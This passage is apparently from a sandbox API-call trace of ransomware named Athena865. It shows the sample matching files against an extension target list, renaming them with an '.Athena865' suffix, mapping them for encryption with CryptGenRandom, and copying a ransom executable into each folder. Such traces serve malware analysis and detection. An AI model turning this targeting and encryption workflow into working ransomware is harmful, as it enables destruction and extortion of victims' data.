lpString2=".sys") returned 1 [0152.509] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29 [0152.509] lstrlenW (lpString="bak") returned 3 [0152.509] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0152.509] lstrlenW (lpString="ba_") returned 3 [0152.509] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0152.509] lstrlenW (lpString="dbb") returned 3 [0152.509] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0152.509] lstrlenW (lpString="vmdk") returned 4 [0152.509] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0152.509] lstrlenW (lpString="rar") returned 3 [0152.509] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0152.509] lstrlenW (lpString="zip") returned 3 [0152.509] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0152.509] lstrlenW (lpString="tgz") returned 3 [0152.509] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0152.509] lstrlenW (lpString="vbox") returned 4 [0152.509] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0152.509] lstrlenW (lpString="vdi") returned 3 [0152.509] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0152.510] lstrlenW (lpString="vhd") returned 3 [0152.510] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0152.510] lstrlenW (lpString="vhdx") returned 4 [0152.510] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0152.510] lstrlenW (lpString="avhd") returned 4 [0152.510] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0152.510] lstrlenW (lpString="db") returned 2 [0152.510] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0152.510] lstrlenW (lpString="db2") returned 3 [0152.510] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0152.510] lstrlenW (lpString="db3") returned 3 [0152.510] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0152.510] lstrlenW (lpString="dbf") returned 3 [0152.510] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0152.510] lstrlenW (lpString="mdf") returned 3 [0152.510] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0152.510] lstrlenW (lpString="mdb") returned 3 [0152.510] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0152.510] lstrlenW (lpString="sql") returned 3 [0152.510] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0152.510] lstrlenW (lpString="sqlite") returned 6 [0152.510] lstrcmpiW (lpString1="th.xml", lpString2="sqlite") returned 1 [0152.510] lstrlenW (lpString="sqlite3") returned 7 [0152.510] lstrcmpiW (lpString1="ath.xml", lpString2="sqlite3") returned -1 [0152.510] lstrlenW (lpString="sqlitedb") returned 8 [0152.510] lstrcmpiW (lpString1="Path.xml", lpString2="sqlitedb") returned -1 [0152.510] lstrlenW (lpString="xml") returned 3 [0152.510] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0152.511] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml.Athena865") returned 93 [0152.511] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml.athena865"), dwFlags=0x1) returned 1 [0152.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.514] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=253407) returned 1 [0152.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.515] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.515] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.516] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.516] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0e0, lpName=0x0) returned 0x154 [0152.517] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0e0) returned 0x170000 [0152.540] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.541] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.541] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.542] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0152.544] CloseHandle (hObject=0x154) returned 1 [0152.544] CloseHandle (hObject=0x17c) returned 1 [0152.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.545] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0152.545] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0152.545] ReleaseMutex (hMutex=0xec) returned 1 [0152.545] CloseHandle (hObject=0xec) returned 1 [0152.546] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library" [0152.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53a030 | out: hHeap=0x4f0000) returned 1 [0152.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b6c0 | out: hHeap=0x4f0000) returned 1 [0152.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned 50 [0152.546] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D806B5DF1DF9C5D9C4D154FE22AD8C3D") returned 0xec [0152.546] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0152.546] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library" [0152.546] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0152.546] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\library\\how to back your files.exe"), bFailIfExists=1) returned 0 [0152.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\library\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0152.548] GetLastError () returned 0x0 [0152.548] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0152.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0152.548] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0152.549] CloseHandle (hObject=0xf4) returned 1 [0152.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0152.549] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0152.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd3d89d80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd3d89d80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0152.550] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.550] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.550] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0152.550] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd3d89d80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd3d89d80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.550] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.550] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.550] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0152.550] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0152.550] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0152.550] lstrcmpiW (lpString1="Analysis", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.550] lstrcmpiW (lpString1="Analysis", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.550] lstrcmpiW (lpString1="Analysis", lpString2=".") returned 1 [0152.550] lstrcmpiW (lpString1="Analysis", lpString2="..") returned 1 [0152.550] lstrcmpiW (lpString1="Analysis", lpString2="windows") returned -1 [0152.550] lstrcmpiW (lpString1="Analysis", lpString2="bootmgr") returned -1 [0152.550] lstrcmpiW (lpString1="Analysis", lpString2="temp") returned -1 [0152.550] lstrcmpiW (lpString1="Analysis", lpString2="pagefile.sys") returned -1 [0152.550] lstrcmpiW (lpString1="Analysis", lpString2="boot") returned -1 [0152.550] lstrcmpiW (lpString1="Analysis", lpString2="ids.txt") returned -1 [0152.550] lstrcmpiW (lpString1="Analysis", lpString2="ntuser.dat") returned -1 [0152.550] lstrcmpiW (lpString1="Analysis", lpString2="perflogs") returned -1 [0152.550] lstrcmpiW (lpString1="Analysis", lpString2="MSBuild") returned -1 [0152.550] lstrlenW (lpString="Analysis") returned 8 [0152.550] lstrcpyW (in: lpString1=0x241e8ae, lpString2="Analysis" | out: lpString1="Analysis") returned="Analysis" [0152.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b6c0 [0152.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x53caa0 [0152.551] lstrcatW (in: lpString1="Analysis", lpString2="\\" | out: lpString1="Analysis\\") returned="Analysis\\" [0152.551] lstrcatW (in: lpString1="Analysis\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Analysis\\HOW TO BACK YOUR FILES.exe") returned="Analysis\\HOW TO BACK YOUR FILES.exe" [0152.551] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\how to back your files.exe"), bFailIfExists=1) returned 1 [0152.556] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x62688, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0152.556] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.556] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.556] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2=".") returned 1 [0152.556] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="..") returned 1 [0152.556] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="windows") returned -1 [0152.556] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="bootmgr") returned 1 [0152.556] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="temp") returned -1 [0152.556] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="pagefile.sys") returned -1 [0152.556] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="boot") returned 1 [0152.557] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="ids.txt") returned -1 [0152.557] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="ntuser.dat") returned -1 [0152.557] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="perflogs") returned -1 [0152.557] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2="MSBuild") returned -1 [0152.557] lstrlenW (lpString="EUROTOOL.XLAM") returned 13 [0152.557] lstrcpyW (in: lpString1=0x241e8ae, lpString2="EUROTOOL.XLAM" | out: lpString1="EUROTOOL.XLAM") returned="EUROTOOL.XLAM" [0152.557] lstrlenW (lpString="EUROTOOL.XLAM") returned 13 [0152.557] lstrlenW (lpString="Athena865") returned 9 [0152.557] lstrcmpiW (lpString1="TOOL.XLAM", lpString2="Athena865") returned 1 [0152.557] lstrlenW (lpString=".dll") returned 4 [0152.557] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2=".dll") returned 1 [0152.557] lstrlenW (lpString=".lnk") returned 4 [0152.557] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2=".lnk") returned 1 [0152.557] lstrlenW (lpString=".ini") returned 4 [0152.557] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2=".ini") returned 1 [0152.557] lstrlenW (lpString=".sys") returned 4 [0152.557] lstrcmpiW (lpString1="EUROTOOL.XLAM", lpString2=".sys") returned 1 [0152.557] lstrlenW (lpString="EUROTOOL.XLAM") returned 13 [0152.557] lstrlenW (lpString="bak") returned 3 [0152.557] lstrcmpiW (lpString1="LAM", lpString2="bak") returned 1 [0152.557] lstrlenW (lpString="ba_") returned 3 [0152.557] lstrcmpiW (lpString1="LAM", lpString2="ba_") returned 1 [0152.557] lstrlenW (lpString="dbb") returned 3 [0152.557] lstrcmpiW (lpString1="LAM", lpString2="dbb") returned 1 [0152.557] lstrlenW (lpString="vmdk") returned 4 [0152.557] lstrcmpiW (lpString1="XLAM", lpString2="vmdk") returned 1 [0152.557] lstrlenW (lpString="rar") returned 3 [0152.557] lstrcmpiW (lpString1="LAM", lpString2="rar") returned -1 [0152.557] lstrlenW (lpString="zip") returned 3 [0152.558] lstrcmpiW (lpString1="LAM", lpString2="zip") returned -1 [0152.558] lstrlenW (lpString="tgz") returned 3 [0152.558] lstrcmpiW (lpString1="LAM", lpString2="tgz") returned -1 [0152.558] lstrlenW (lpString="vbox") returned 4 [0152.558] lstrcmpiW (lpString1="XLAM", lpString2="vbox") returned 1 [0152.558] lstrlenW (lpString="vdi") returned 3 [0152.558] lstrcmpiW (lpString1="LAM", lpString2="vdi") returned -1 [0152.558] lstrlenW (lpString="vhd") returned 3 [0152.558] lstrcmpiW (lpString1="LAM", lpString2="vhd") returned -1 [0152.558] lstrlenW (lpString="vhdx") returned 4 [0152.558] lstrcmpiW (lpString1="XLAM", lpString2="vhdx") returned 1 [0152.558] lstrlenW (lpString="avhd") returned 4 [0152.558] lstrcmpiW (lpString1="XLAM", lpString2="avhd") returned 1 [0152.558] lstrlenW (lpString="db") returned 2 [0152.558] lstrcmpiW (lpString1="AM", lpString2="db") returned -1 [0152.558] lstrlenW (lpString="db2") returned 3 [0152.558] lstrcmpiW (lpString1="LAM", lpString2="db2") returned 1 [0152.558] lstrlenW (lpString="db3") returned 3 [0152.558] lstrcmpiW (lpString1="LAM", lpString2="db3") returned 1 [0152.558] lstrlenW (lpString="dbf") returned 3 [0152.558] lstrcmpiW (lpString1="LAM", lpString2="dbf") returned 1 [0152.558] lstrlenW (lpString="mdf") returned 3 [0152.558] lstrcmpiW (lpString1="LAM", lpString2="mdf") returned -1 [0152.558] lstrlenW (lpString="mdb") returned 3 [0152.558] lstrcmpiW (lpString1="LAM", lpString2="mdb") returned -1 [0152.558] lstrlenW (lpString="sql") returned 3 [0152.558] lstrcmpiW (lpString1="LAM", lpString2="sql") returned -1 [0152.558] lstrlenW (lpString="sqlite") returned 6 [0152.558] lstrcmpiW (lpString1="L.XLAM", lpString2="sqlite") returned -1 [0152.559] lstrlenW (lpString="sqlite3") returned 7 [0152.559] lstrcmpiW (lpString1="OL.XLAM", lpString2="sqlite3") returned -1 [0152.559] lstrlenW (lpString="sqlitedb") returned 8 [0152.559] lstrcmpiW (lpString1="OOL.XLAM", lpString2="sqlitedb") returned -1 [0152.559] lstrlenW (lpString="xml") returned 3 [0152.559] lstrcmpiW (lpString1="LAM", lpString2="xml") returned -1 [0152.559] lstrlenW (lpString="$er") returned 3 [0152.559] lstrcmpiW (lpString1="LAM", lpString2="$er") returned 1 [0152.559] lstrlenW (lpString="4dd") returned 3 [0152.559] lstrcmpiW (lpString1="LAM", lpString2="4dd") returned 1 [0152.559] lstrlenW (lpString="4dl") returned 3 [0152.559] lstrcmpiW (lpString1="LAM", lpString2="4dl") returned 1 [0152.559] lstrlenW (lpString="^^^") returned 3 [0152.559] lstrcmpiW (lpString1="LAM", lpString2="^^^") returned 1 [0152.559] lstrlenW (lpString="abs") returned 3 [0152.559] lstrcmpiW (lpString1="LAM", lpString2="abs") returned 1 [0152.559] lstrlenW (lpString="abx") returned 3 [0152.559] lstrcmpiW (lpString1="LAM", lpString2="abx") returned 1 [0152.559] lstrlenW (lpString="accdb") returned 5 [0152.559] lstrcmpiW (lpString1=".XLAM", lpString2="accdb") returned -1 [0152.559] lstrlenW (lpString="accdc") returned 5 [0152.559] lstrcmpiW (lpString1=".XLAM", lpString2="accdc") returned -1 [0152.559] lstrlenW (lpString="accde") returned 5 [0152.559] lstrcmpiW (lpString1=".XLAM", lpString2="accde") returned -1 [0152.559] lstrlenW (lpString="accdr") returned 5 [0152.559] lstrcmpiW (lpString1=".XLAM", lpString2="accdr") returned -1 [0152.559] lstrlenW (lpString="accdt") returned 5 [0152.559] lstrcmpiW (lpString1=".XLAM", lpString2="accdt") returned -1 [0152.559] lstrlenW (lpString="accdw") returned 5 [0152.560] lstrcmpiW (lpString1=".XLAM", lpString2="accdw") returned -1 [0152.560] lstrlenW (lpString="accft") returned 5 [0152.560] lstrcmpiW (lpString1=".XLAM", lpString2="accft") returned -1 [0152.560] lstrlenW (lpString="adb") returned 3 [0152.560] lstrcmpiW (lpString1="LAM", lpString2="adb") returned 1 [0152.560] lstrlenW (lpString="adb") returned 3 [0152.560] lstrcmpiW (lpString1="LAM", lpString2="adb") returned 1 [0152.560] lstrlenW (lpString="ade") returned 3 [0152.560] lstrcmpiW (lpString1="LAM", lpString2="ade") returned 1 [0152.560] lstrlenW (lpString="adf") returned 3 [0152.560] lstrcmpiW (lpString1="LAM", lpString2="adf") returned 1 [0152.560] lstrlenW (lpString="adn") returned 3 [0152.560] lstrcmpiW (lpString1="LAM", lpString2="adn") returned 1 [0152.560] lstrlenW (lpString="adp") returned 3 [0152.560] lstrcmpiW (lpString1="LAM", lpString2="adp") returned 1 [0152.560] lstrlenW (lpString="alf") returned 3 [0152.560] lstrcmpiW (lpString1="LAM", lpString2="alf") returned 1 [0152.560] lstrlenW (lpString="ask") returned 3 [0152.560] lstrcmpiW (lpString1="LAM", lpString2="ask") returned 1 [0152.560] lstrlenW (lpString="btr") returned 3 [0152.560] lstrcmpiW (lpString1="LAM", lpString2="btr") returned 1 [0152.560] lstrlenW (lpString="cat") returned 3 [0152.560] lstrcmpiW (lpString1="LAM", lpString2="cat") returned 1 [0152.560] lstrlenW (lpString="cdb") returned 3 [0152.560] lstrcmpiW (lpString1="LAM", lpString2="cdb") returned 1 [0152.560] lstrlenW (lpString="ckp") returned 3 [0152.560] lstrcmpiW (lpString1="LAM", lpString2="ckp") returned 1 [0152.560] lstrlenW (lpString="cma") returned 3 [0152.561] lstrcmpiW (lpString1="LAM", lpString2="cma") returned 1 [0152.561] lstrlenW (lpString="cpd") returned 3 [0152.561] lstrcmpiW (lpString1="LAM", lpString2="cpd") returned 1 [0152.561] lstrlenW (lpString="dacpac") returned 6 [0152.561] lstrcmpiW (lpString1="L.XLAM", lpString2="dacpac") returned 1 [0152.561] lstrlenW (lpString="dad") returned 3 [0152.561] lstrcmpiW (lpString1="LAM", lpString2="dad") returned 1 [0152.561] lstrlenW (lpString="dadiagrams") returned 10 [0152.561] lstrcmpiW (lpString1="OTOOL.XLAM", lpString2="dadiagrams") returned 1 [0152.561] lstrlenW (lpString="daschema") returned 8 [0152.561] lstrcmpiW (lpString1="OOL.XLAM", lpString2="daschema") returned 1 [0152.561] lstrlenW (lpString="db-journal") returned 10 [0152.561] lstrcmpiW (lpString1="OTOOL.XLAM", lpString2="db-journal") returned 1 [0152.561] lstrlenW (lpString="db-shm") returned 6 [0152.561] lstrcmpiW (lpString1="L.XLAM", lpString2="db-shm") returned 1 [0152.561] lstrlenW (lpString="db-wal") returned 6 [0152.561] lstrcmpiW (lpString1="L.XLAM", lpString2="db-wal") returned 1 [0152.561] lstrlenW (lpString="dbc") returned 3 [0152.561] lstrcmpiW (lpString1="LAM", lpString2="dbc") returned 1 [0152.561] lstrlenW (lpString="dbs") returned 3 [0152.561] lstrcmpiW (lpString1="LAM", lpString2="dbs") returned 1 [0152.561] lstrlenW (lpString="dbt") returned 3 [0152.561] lstrcmpiW (lpString1="LAM", lpString2="dbt") returned 1 [0152.561] lstrlenW (lpString="dbv") returned 3 [0152.561] lstrcmpiW (lpString1="LAM", lpString2="dbv") returned 1 [0152.561] lstrlenW (lpString="dbx") returned 3 [0152.561] lstrcmpiW (lpString1="LAM", lpString2="dbx") returned 1 [0152.561] lstrlenW (lpString="dcb") returned 3 [0152.561] lstrcmpiW (lpString1="LAM", lpString2="dcb") returned 1 [0152.562] lstrlenW (lpString="dct") returned 3 [0152.562] lstrcmpiW (lpString1="LAM", lpString2="dct") returned 1 [0152.562] lstrlenW (lpString="dcx") returned 3 [0152.562] lstrcmpiW (lpString1="LAM", lpString2="dcx") returned 1 [0152.562] lstrlenW (lpString="ddl") returned 3 [0152.562] lstrcmpiW (lpString1="LAM", lpString2="ddl") returned 1 [0152.562] lstrlenW (lpString="dlis") returned 4 [0152.562] lstrcmpiW (lpString1="XLAM", lpString2="dlis") returned 1 [0152.562] lstrlenW (lpString="dp1") returned 3 [0152.562] lstrcmpiW (lpString1="LAM", lpString2="dp1") returned 1 [0152.562] lstrlenW (lpString="dqy") returned 3 [0152.562] lstrcmpiW (lpString1="LAM", lpString2="dqy") returned 1 [0152.562] lstrlenW (lpString="dsk") returned 3 [0152.562] lstrcmpiW (lpString1="LAM", lpString2="dsk") returned 1 [0152.562] lstrlenW (lpString="dsn") returned 3 [0152.562] lstrcmpiW (lpString1="LAM", lpString2="dsn") returned 1 [0152.562] lstrlenW (lpString="dtsx") returned 4 [0152.562] lstrcmpiW (lpString1="XLAM", lpString2="dtsx") returned 1 [0152.562] lstrlenW (lpString="dxl") returned 3 [0152.562] lstrcmpiW (lpString1="LAM", lpString2="dxl") returned 1 [0152.562] lstrlenW (lpString="eco") returned 3 [0152.562] lstrcmpiW (lpString1="LAM", lpString2="eco") returned 1 [0152.562] lstrlenW (lpString="ecx") returned 3 [0152.562] lstrcmpiW (lpString1="LAM", lpString2="ecx") returned 1 [0152.562] lstrlenW (lpString="edb") returned 3 [0152.562] lstrcmpiW (lpString1="LAM", lpString2="edb") returned 1 [0152.562] lstrlenW (lpString="epim") returned 4 [0152.562] lstrcmpiW (lpString1="XLAM", lpString2="epim") returned 1 [0152.562] lstrlenW (lpString="fcd") returned 3 [0152.563] lstrcmpiW (lpString1="LAM", lpString2="fcd") returned 1 [0152.563] lstrlenW (lpString="fdb") returned 3 [0152.563] lstrcmpiW (lpString1="LAM", lpString2="fdb") returned 1 [0152.563] lstrlenW (lpString="fic") returned 3 [0152.563] lstrcmpiW (lpString1="LAM", lpString2="fic") returned 1 [0152.563] lstrlenW (lpString="flexolibrary") returned 12 [0152.563] lstrcmpiW (lpString1="UROTOOL.XLAM", lpString2="flexolibrary") returned 1 [0152.563] lstrlenW (lpString="fm5") returned 3 [0152.563] lstrcmpiW (lpString1="LAM", lpString2="fm5") returned 1 [0152.563] lstrlenW (lpString="fmp") returned 3 [0152.563] 